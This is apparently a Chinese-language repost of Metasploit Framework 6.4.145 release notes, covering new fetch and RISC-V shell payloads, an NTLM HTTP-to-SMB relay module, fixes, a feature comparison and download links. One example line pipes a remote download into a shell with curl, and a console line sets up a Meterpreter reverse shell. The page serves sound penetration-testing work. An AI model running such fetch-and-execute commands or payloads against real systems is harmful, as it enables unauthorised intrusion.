请访问原文链接:Metasploit Framework 6.4.145 (macOS, Linux, Windows) - 开源渗透测试框架 查看最新版。原创作品,转载请保留出处。
作者主页:sysin.org

世界上最广泛使用的渗透测试框架
知识就是力量,尤其是当它被分享时。作为开源社区和 Rapid7 之间的合作,Metasploit 帮助安全团队做的不仅仅是验证漏洞、管理安全评估和提高安全意识 (sysin);更重要的是,它赋能防御者,使其能够始终在攻防博弈中领先一步(甚至两步)。

图为 Metasploit Pro Dashboard。
欢迎来到 Metasploit 的世界。你是否是一名 Metasploit 用户,想要开始使用它,或者提升你的漏洞利用与渗透能力(前提是对你有授权的目标进行测试)?最快的入门方式是下载 Metasploit 每夜构建安装包(nightly installers)。通过它,你可以同时获得免费的开源 Metasploit Framework,以及 Metasploit Pro 的免费试用版。
如果你使用的是 Kali Linux,那么 Metasploit 已经默认预装。关于如何在 Kali Linux 中开始使用 Metasploit,请参阅 Kali 的相关文档。
新增功能
Metasploit 每周更新:新增 HTTP 到 SMB 中继及 Payload 功能增强
2026 年 7 月 17 日
🧹 Metasploit 每周更新调整
Metasploit Framework 将继续保持每周发布更新的节奏,为广大读者带来最新内容。不过,「Weekly Wrap Up(每周更新汇总)」将调整为每两周发布一次。
团队计划利用两次更新之间的额外时间,录制部分重点功能的演示视频。敬请期待全新形式的 Metasploit Wrap Up。
🚀 Fetch Multi: 真正做到一次配置,自动适配?
我们的开发者 bwatters-r7 持续完善 Fetch Payload 功能。这次新增了 Linux Fetch Multi Payload 系列,可在运行时自动识别 Linux 目标架构。
传统的 Fetch Payload 会生成一条命令,在目标主机上下载并执行指定架构的二进制 Payload。而新的 Linux Fetch Multi 在目标请求 Payload 时,会主动上报目标主机架构,随后 Handler 会自动返回对应 ELF 架构的 Payload。
这意味着,当用户攻击 Linux 主机时,无需再猜测目标使用的是哪种 CPU 架构。同时,一个 Payload 与一个 Handler 即可同时服务于多种不同架构的 Linux 主机 (sysin)。
由于该功能依赖于请求 URL 中新增的查询字符串,因此目前仅 HTTP 与 HTTPS Fetch Payload 支持 Fetch Multi。
下面的示例中,在 mipsel、mips64 和 aarch64 三台主机上,仅需执行同一条命令:
1 | curl -s http://10.5.135.210:8080/x|sh |
即可自动识别目标架构并下发对应 ELF Payload。
1 | msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options |
🏗️ RISC 架构即将改变一切
说到支持更多处理器架构,bcoles 又为 Metasploit 新增了另一种 IoT 架构支持**:RISC-V**。
此次更新新增了适用于 32 位和 64 位 RISC-V 系统的分阶段(Staged)和无阶段(Stageless)Shell Payload,同时配合其另一项 Pull Request,为 RISC-V Payload 增加了 XOR 编码器支持。
🆕 新增模块(4)
📦 Microsoft Windows HTTP 到 SMB Relay
作者:jheysel-r7
类型:Auxiliary(辅助模块)
Pull Request:#21620,由 jheysel-r7 提交
路径:server/relay/http_to_smb
说明:
新增 HTTP 到 SMB Relay 服务端模块,可将接收到的 NTLM HTTP 身份认证请求中继到多个 SMB 服务器,从而在目标主机建立 SMB 会话,并供 Metasploit Framework 后续使用。
📦 Byte XORi Encoder
作者:bcoles
类型:Encoder(编码器)
Pull Request:#21235
路径:riscv32le/byte_xori
说明:
新增适用于 RISC-V 32 位和 64 位小端架构的四种 Byte XORi 编码器变体。
📦 FTP、HTTP、HTTPS 与 METERPRETER_REVERSE_TCP Fetch(Linux Chmod)
作者:Brendan Watters、Spencer McIntyre、bcoles
类型:Payload(Adapter)
Pull Request:#21384
说明:
新增 Linux Fetch Multi Payload、基于 FTP 的 Fetch 服务,以及集成到 rex/proto 的 TFTP 服务,以统一现有服务器实现。
此次 Adapter 一共新增 421 个 Payload,覆盖 Linux 与 Windows 各类架构,例如:
- cmd/linux/ftp/aarch64/chmod
- cmd/linux/ftp/x86/meterpreter/reverse_tcp
- cmd/windows/ftp/aarch64/meterpreter_reverse_http
📦 FTP Fetch、Linux dup2 Command Shell、Bind TCP Stager
作者:Brendan Watters、Spencer McIntyre、bcoles
类型:Payload(Stager)
Pull Request:#21237
说明:
为 RISC-V 32 位和 64 位小端 Linux 新增 reverse_tcp、bind_tcp Stager 以及 Shell Command Stage。
新增 Payload 包括:
- cmd/linux/ftp/riscv32le/shell/bind_tcp
- cmd/linux/http/riscv32le/shell/bind_tcp
- cmd/linux/https/riscv32le/shell/bind_tcp
- cmd/linux/tftp/riscv32le/shell/bind_tcp
- linux/riscv32le/shell/bind_tcp
- cmd/linux/ftp/riscv32le/shell/reverse_tcp
- cmd/linux/http/riscv32le/shell/reverse_tcp
- cmd/linux/https/riscv32le/shell/reverse_tcp
- cmd/linux/tftp/riscv32le/shell/reverse_tcp
- linux/riscv32le/shell/reverse_tcp
- cmd/linux/ftp/riscv64le/shell/bind_tcp
- cmd/linux/http/riscv64le/shell/bind_tcp
- cmd/linux/https/riscv64le/shell/bind_tcp
- cmd/linux/tftp/riscv64le/shell/bind_tcp
- linux/riscv64le/shell/bind_tcp
- cmd/linux/ftp/riscv64le/shell/reverse_tcp
- cmd/linux/http/riscv64le/shell/reverse_tcp
- cmd/linux/https/riscv64le/shell/reverse_tcp
- cmd/linux/tftp/riscv64le/shell/reverse_tcp
- linux/riscv64le/shell/reverse_tcp
✨ 功能增强(4)
- #21235(bcoles):为 RISC-V 32 位和 64 位小端架构新增四种编码器变体。
- #21384(bwatters-r7):新增 Linux Fetch Multi Payload、FTP Fetch 服务以及集成到 rex/proto 的 TFTP 服务。
- #21599(Pushpenderrathore):扩展 CertificateTrace 功能,当 HTTP 模块通过 HTTPS 建立连接时,可同时显示服务器 TLS 对端证书,继续沿用现有的 CertificateTrace(off/metadata/full)配置方式 (sysin)。
- #21602(zeroSteiner):更新 Windows Service PE 模板,改为使用注入段(Injected Segment)替代旧的替换方式。
🐞 Bug 修复(4)
- #21621(eipoverflow):修复新版 macOS 上无文件(Fileless)分阶段 Meterpreter 无法运行的问题。
- #21670(zeroSteiner):将动态 XOR 编码器标记为无法保持寄存器(Preserve Registers),并新增相关回归测试,确保需要保持寄存器时 Stage 编码能够正确处理。
- #21675(sjanusz-r7):修复 search_cache 在生成缓存时未正确跳过多架构 Payload 的问题。
- #21677(bwatters-r7):修复 HTTP Relay Server Mixin 中的一个缺陷:此前匹配模块 URIPATH 的请求会被静默丢弃而不会进行中继。此次修复移除了已不再需要的 URIPATH 选项,确保所有请求均可正确中继,并新增相应测试用例验证修复效果。
Metasploit Framework 6.4 Released Mar 25, 2024.
版本比较
Open Source: Metasploit Framework
下载:Metasploit Framework 6.4.145 (macOS, Linux, Windows) - 开源渗透测试框架
Commercial Support: Metasploit Pro
下载:Metasploit Pro 4.22.9-2026030301 (Linux, Windows) - 专业渗透测试框架
| All Features | Pro | Framework |
|---|---|---|
| - Collect | ||
| De-facto standard for penetration testing with more than 1,500 exploits | ✅ | ✅ |
| Import of network data scan | ✅ | ✅ |
| Network discovery | ✅ | ❌ |
| Basic exploitation | ✅ | ❌ |
| MetaModules for discrete tasks such as network segmentation testing | ✅ | ❌ |
| Integrations via Remote API | ✅ | ❌ |
| - Automate | ||
| Simple web interface | ✅ | ❌ |
| Smart Exploitation | ✅ | ❌ |
| Automated credentials brute forcing | ✅ | ❌ |
| Baseline penetration testing reports | ✅ | ❌ |
| Wizards for standard baseline audits | ✅ | ❌ |
| Task chains for automated custom workflows | ✅ | ❌ |
| Closed-Loop vulnerability validation to prioritize remediation | ✅ | ❌ |
| - Infiltrate | ||
| Basic command-line interface | ❌ | ✅ |
| Manual exploitation | ❌ | ✅ |
| Manual credentials brute forcing | ❌ | ✅ |
| Dynamic payloads to evade leading anti-virus solutions | ✅ | ❌ |
| Phishing awareness management and spear phishing | ✅ | ❌ |
| Choice of advance command-line (Pro Console) and web interface | ✅ | ❌ |
下载地址
Metasploit Framework 6.4.x (macOS, Linux, Windows)
macOS:metasploit-framework-VERSION.x86_64.dmg
Windows:metasploit-framework-VERSION-x64.msi
Debian/Ubuntu:
Linux deb x64:metasploit-framework_VERSION_amd64.deb
Linux deb x86:metasploit-framework_VERSION_i386.deb
Linux deb arm64:metasploit-framework_VERSION_arm64.deb
Linux deb armhf (hard float):metasploit-framework_VERSION_armhf.deb
RHEL/Fedora:
Linux rpm x64:metasploit-framework-VERSION.el6.x86_64.rpm
相关产品:Metasploit Pro 5.0.0-2026070101 (Linux, Windows) - 专业渗透测试框架
更多:HTTP 协议与安全
文章用于推荐和分享优秀的软件产品及其相关技术,所有软件默认提供官方原版(免费版或试用版),免费分享。对于部分产品笔者加入了自己的理解和分析,方便学习和研究使用。任何内容若侵犯了您的版权,请联系作者删除。如果您喜欢这篇文章或者觉得它对您有所帮助,或者发现有不当之处,欢迎您发表评论,也欢迎您分享这个网站,或者赞赏一下作者,谢谢!
赞赏一下
敬请注册!点击 “登录” - “用户注册”(已知不支持 21.cn/189.cn 邮箱)。 请勿使用联合登录(已关闭)。

支付宝赞赏
微信赞赏